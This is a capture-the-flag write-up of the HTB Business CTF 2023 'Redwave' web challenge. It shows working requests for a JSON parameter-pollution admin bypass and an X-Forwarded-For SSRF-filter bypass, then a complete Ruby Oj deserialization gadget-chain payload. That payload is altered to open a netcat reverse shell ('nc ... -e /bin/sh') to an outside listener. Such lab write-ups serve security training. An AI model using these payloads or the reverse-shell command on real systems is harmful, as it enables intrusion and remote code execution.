Post

Redwave

Challenge

  • CTF: HTB Business CTF 2023: The Great Escape
  • Name: Redwave
  • Category: Web
  • Difficulty: Hard
  • Points: 1000
  • Description: The Commonwealth of Arodor Maximus has deployed a satellite broadcast system to exert control over their forces. You have successfully infiltrated their internal network. Are you capable of hacking into the broadcasting service and exposing their secret plans?

Files

Download: web_redwave.zip

Synopsis

There are two web applications in this challenge, a frontend Golang web application and a backend Ruby on Rails web application that is handling API calls from the frontend. The challenge starts off with registering and logging in a user, and accessing a feature called “Change Broadcast”. The request to change broadcast is vulnerable to Parameter Pollution that occurs when multiple values are supplied for a single parameter in an HTTP request. This allows us to become administrator by making our user-id value empty to bypass the admin conditional statement. With admin access, we can bypass the Anti-Server-Side Request Forgery (SSRF) countermeasures with the X-Forwarded-For header to anything other than 127.0.0.1 such as 127.0.0.2. Then we can upload a Ruby Oj Gem deserialization payload to achieve Remote Code Execution.

Initial Analysis

You can spin this up via docker and it will be hosted at http://127.0.0.1:1337 or http://172.17.0.3:1337

1
sudo ./build-docker.sh

Within the source-code, the following routes are configured in this Golang front-end webserver at redwave-interface/internal/server/server.go:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
func (s *Server) Start() error {
    r := mux.NewRouter()
    path := filepath.Join(getCwd(), "web/static")

    r.PathPrefix("/static/").Handler(http.StripPrefix("/static", http.FileServer(http.Dir(path))))
    r.HandleFunc("/", s.handleRoot)
    r.HandleFunc("/signin", s.handleSignIn).Methods("GET")
    r.HandleFunc("/signin", s.handleSignInPost).Methods("POST")
    r.HandleFunc("/signout", s.handleSignOut)
    r.HandleFunc("/register", s.handleRegister).Methods("POST")
    r.HandleFunc("/dashboard", s.handleBroadcast).Methods("GET")
    r.HandleFunc("/dashboard", s.handleBroadcastPost).Methods("POST")
    r.HandleFunc("/admin", s.handleAdmin).Methods("GET")
    r.HandleFunc("/admin", s.handleAdminPost).Methods("POST")

    log.Println("Starting HTTP server at 8080")

    return http.ListenAndServe(":8080", r)

When browsing to the site for the first time you are redirected to a registration page at http://localhost:1337/register: redwave_1

We can register with the credentials test:test and then proceed to login at http://localhost:1337/signin. We are then presented with a Broadcast Channel configuration page where you change change to 10 different channels.

redwave_2

redwave_3

Changing a channel send a POST request to /dashboard as shown below:

1
2
3
4
5
6
POST /dashboard HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
...[snip]...

{"UID":"616fed54-6db9-43a5-bb1d-58d5c830137e","username":"test","category":"Medical Expertise Needed 021120"}

Parameter Pollution to Admin Bypass

This POST request to /dashboard is handled in redwave-interface/internal/server/category.go and sends the body of the POST request to s.apiClient.EditUser(postBody,u).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
func (s *Server) handleBroadcastPost(w http.ResponseWriter, r *http.Request) {
	cookie, err := r.Cookie("session_token")
	if err != nil {
		http.Error(w, "You must be logged in to access", http.StatusUnauthorized)
		return
	}
	var u = s.sessions[cookie.Value]

	postBody, err := io.ReadAll(r.Body)
	if err != nil {
		log.Println(err)
		http.Error(w, "Something went wrong", http.StatusInternalServerError)
		return
	}

	err = s.apiClient.EditUser(postBody, u)
	if err != nil {
		handleApiError(w, err)
		return
	}

	var updatedUser models.User
	json.Unmarshal(postBody, &updatedUser)
	s.sessions[cookie.Value] = updatedUser
	http.Redirect(w, r, "/dashboard", http.StatusFound)
}

The EditUser() function is defined in redwave-interface/internal/apiclient/apiclient.go and creates a new request to the backend of http://127.0.0.1:3000/user/edit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
func (client *ApiClient) EditUser(requestBody []byte, user models.User) error {
	req, err := http.NewRequest(
		http.MethodPost, fmt.Sprintf("%s/user/edit", client.Url), bytes.NewBuffer(requestBody),
	)
	if err != nil {
		return err
	}

	req.Header.Set("Content-Type", "application/json")
	req.Header.Set("X-Authorization-User", user.UID)

	resp, err := http.DefaultClient.Do(req)
	if err != nil {
		return err
	}
	var response EditUserResponse
	err = json.NewDecoder(resp.Body).Decode(&response)
	if err != nil {
		return err
	}

	if response.Success == 0 && response.Message != "" {
		return NewApiError(response.Message)
	}

	return nil
}

The backend POST request to /user/edit will be processed by updateUser() in challenge/redwave-api/app/controllers/users_controller.rb. The raw JSON data is then parsed and checked if the JSON UID matches the req_uid that was composed from the session cookie of the current user.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def updateUser
	req_uid = request.headers["X-Authorization-User"]
	json_user =  JSON.parse(request.body.read)
	if req_uid != json_user["UID"]
		render json: '{"success":0, "message":"Bad Request"}', :status => 400
		return
	end
	if User.exists?(UID: req_uid)
		user = User.lock.where(UID: req_uid, username: json_user["username"]).first
		user.broadcastChannel = json_user["category"]
		puts json_user
		user.save
		render json: '{"success":1}', :status => 200
		return
	end
	render json: '{"success":0, "message":"Bad Request"}', :status => 400
end

If everything checks out and no errors occur, the broadcastChannel is updated from the JSON category and processing returns back to the frontend. Thus, continuing the application processing flow at the front-end at redwave-interface/internal/server/category.go, it takes the original postBody and converts it from JSON to struct using the json.Unmarshal() call.

1
2
3
4
var updatedUser models.User
json.Unmarshal(postBody, &updatedUser)
s.sessions[cookie.Value] = updatedUser
http.Redirect(w, r, "/dashboard", http.StatusFound)

Thus all the JSON input parameters will be put into a models.User structure that is defined in redwave-interface/internal/models/models.go. as shown bleow:

1
2
3
4
5
6
type User struct {
	UID      string
	Username string `json:"username"`
	Password string `json:"password"`
	BroadcastChannel    string `json:"broadcastChannel"`
}

However, looking closer at when Go’s json.Unmarshal function… IF it encounters duplicate keys in the JSON data, it will unmarshal the value of the last occurrence of the duplicate key into the corresponding struct field. This means that if you have multiple occurrences of a key with different capitalizations, such as “UID” and “uid”, the value of the last occurrence will overwrite the value of the previous occurrences. This type of vulnerability is called Parameter Pollution that can occur in applications that process user-supplied data without proper validation and handling. In the context of JSON unmarshaling in Go, if the JSON data contains duplicate keys, it could lead to parameter pollution if the application does not handle it appropriately.

Looking at how the admin page at /admin is checked, we can see it only checks to see if the user.UID is set to an empty string.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
func (s *Server) checkAdmin(w http.ResponseWriter, r *http.Request) {
	cookie, err := r.Cookie("session_token")
	if err != nil {
		http.Redirect(w, r, "/", http.StatusFound)
		return
	}

	user, ok := s.sessions[cookie.Value]
	if !ok {
		http.Error(w, "Error retrieving user.", http.StatusBadRequest)
		return
	}

	if user.UID != "" {
		http.Error(w, "Not an admin!", http.StatusUnauthorized)
		return
	}
}

Furthermore, if we send the following Parameter Pollution payload, we can pass all the checks in the back-end and then get it to change our uid in the front-end to reach the /admin page by setting our uid="" !

Request:

1
2
3
4
5
6
7
8
9
10
POST /dashboard HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
..[snip]..

{"UID":"616fed54-6db9-43a5-bb1d-58d5c830137e","username":"test","category":"Sustainable Food Solutions 150622","uid":""}

Note, the only change to this request required is appending the case-sensitive uid key with the value "" within the brackets.

Response:

1
2
3
4
HTTP/1.1 302 Found
Location: /dashboard
Content-Length: 0
Connection: close
1
2
3
4
5
6
7
HTTP/1.1 400 Bad Request
Content-Type: text/plain; charset=utf-8
X-Content-Type-Options: nosniff
Content-Length: 20
Connection: close

Unable to find user

Now we attempt to access the admin page at http://localhost:1337/admin and we get in like magic due to not passing the user.UID != "" at the front-end Go application.

redwave_4 Analyzing the admin application, it seems it allows us to send a POST request to any URL and includes the POST Body as well using url and body keys of the JSON data:

1
2
3
4
5
6
7
8
9
POST /admin HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
...[snip]...

{"url":"","body":""}

SSRF Bypass to Ruby Oj Deserialization RCE

While reviewing the Ruby on Rails Redwave API backend source-code for suspicious endpoints, Snyk identified a high severity deserialization vulnerability in the healthcheck() function at redwave-api/app/controllers/users_controller.rb.

redwave_5

Looking into this, it attempts to stop Server-Side Request Forgery (SSRF) attempts to make this endpoint at 127.0.0.1:3000/user/healthcheck inaccessible.

1
2
3
4
5
6
7
8
9
10
11
12
13
def healthcheck
	requester_ips =  Socket.getaddrinfo(request.ip, "http", nil)
	anti_ssrf = ["127.0.0.1", "::1", "0.0.0.0"]
	for ip in requester_ips do
		if (ip & anti_ssrf).any?
			render json: '{"success":0, "message":"Bad Request"}'
			return
		end
	end
	# Load complex class definitions
	Oj.load(request.body.read)
	render json: '{"success":1, "message":"Bad Request"}'
end

A quick way around this is to set our X-Forwarded-For header to another local subnet address such as 127.0.1.1. This will make our request_ip not in the anti-ssrf blacklist and we should be able to inject into the Oj.load function directly.

Request:

1
2
3
4
5
6
7
8
9
10
POST /admin HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
...[snip]..
X-Forwarded-For: 127.0.1.1

{"url":"http://localhost:3000/","body":"{}"}

Response:

1
{"success":1, "message":"Bad Request"}

Notice the successful flag is set!

Now looking into RCE payloads into Oj.load we find a awesome blog by BishopFox: Ruby Vulnerabilities: Exploiting Dangerous Open, Send and Deserialization Operations https://bishopfox.com/blog/ruby-vulnerabilities-exploits. Heres the working payload from it: “The modified version of Maini and Jaiswal’s gadget chain discussed above in the YAML section works fine in Oj JSON format as well, under both Ruby 2.7.5-p203/Rails 5.2.5 and Ruby 3.1.1p18/Rails 7.0.2.3. Pretty-printed, it looks like this:”

1
{\"^#1\":[[{\"^c\":\"Gem::SpecFetcher\"},{\"^o\":\"Gem::Installer\"},{\"^o\":\"Gem::Requirement\",\"requirements\":{\"^o\":\"Gem::Package::TarReader\",\"io\":{\"^o\":\"Net::BufferedIO\",\"io\":{\"^o\":\"Gem::Package::TarReader::Entry\",\"read\":2,\"header\":\"bbbb\"},\"debug_output\":{\"^o\":\"Logger\",\"logdev\":{\"^o\":\"Rack::Response\",\"buffered\":false,\"body\":{\"^o\":\"Set\",\"hash\":{\"^#2\":[{\"^o\":\"Gem::Security::Policy\",\"name\":{\":filename\":\"/tmp/xyz.txt\",\":environment\":{\"^o\":\"Rails::Initializable::Initializer\",\"context\":{\"^o\":\"Sprockets::Context\"}},\":data\":\"<%= system('touch /tmp/rce10b.txt') %>\",\":metadata\":{}}},true]}},\"writer\":{\"^o\":\"Sprockets::ERBProcessor\"}}}}}}],\"dummy_value\"]}

We add the payload above to our request, change system('touch /tmp/rce10b.txt') to system('nc 172.17.0.1 4444 -e /bin/sh'), startup a netcat listener, and send the request!

Request:

1
2
3
4
5
6
7
8
9
10
POST /admin HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
...[snip]..
X-Forwarded-For: 127.0.1.1

{"url":"http://127.0.1.1:3000/user/healthcheck","body":"{\"^#1\":[[{\"^c\":\"Gem::SpecFetcher\"},{\"^o\":\"Gem::Installer\"},{\"^o\":\"Gem::Requirement\",\"requirements\":{\"^o\":\"Gem::Package::TarReader\",\"io\":{\"^o\":\"Net::BufferedIO\",\"io\":{\"^o\":\"Gem::Package::TarReader::Entry\",\"read\":2,\"header\":\"bbbb\"},\"debug_output\":{\"^o\":\"Logger\",\"logdev\":{\"^o\":\"Rack::Response\",\"buffered\":false,\"body\":{\"^o\":\"Set\",\"hash\":{\"^#2\":[{\"^o\":\"Gem::Security::Policy\",\"name\":{\":filename\":\"/tmp/xyz.txt\",\":environment\":{\"^o\":\"Rails::Initializable::Initializer\",\"context\":{\"^o\":\"Sprockets::Context\"}},\":data\":\"<%= system('nc 172.17.0.1 4444 -e /bin/sh') %>\",\":metadata\":{}}},true]}},\"writer\":{\"^o\":\"Sprockets::ERBProcessor\"}}}}}}],\"dummy_value\"]}"}

Reverse Shell:

1
2
3
4
5
6
7
8
9
$ nc -nlvp 4444
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.3:44599.
$ id
uid=1000(www) gid=1000(www) groups=1000(www)
$ cat /app/api/flag.txt
HTB{F4K3_FL4G_F0R_T3ST1NG!}

And we read the flag!

This post is licensed under CC BY 4.0 by the author.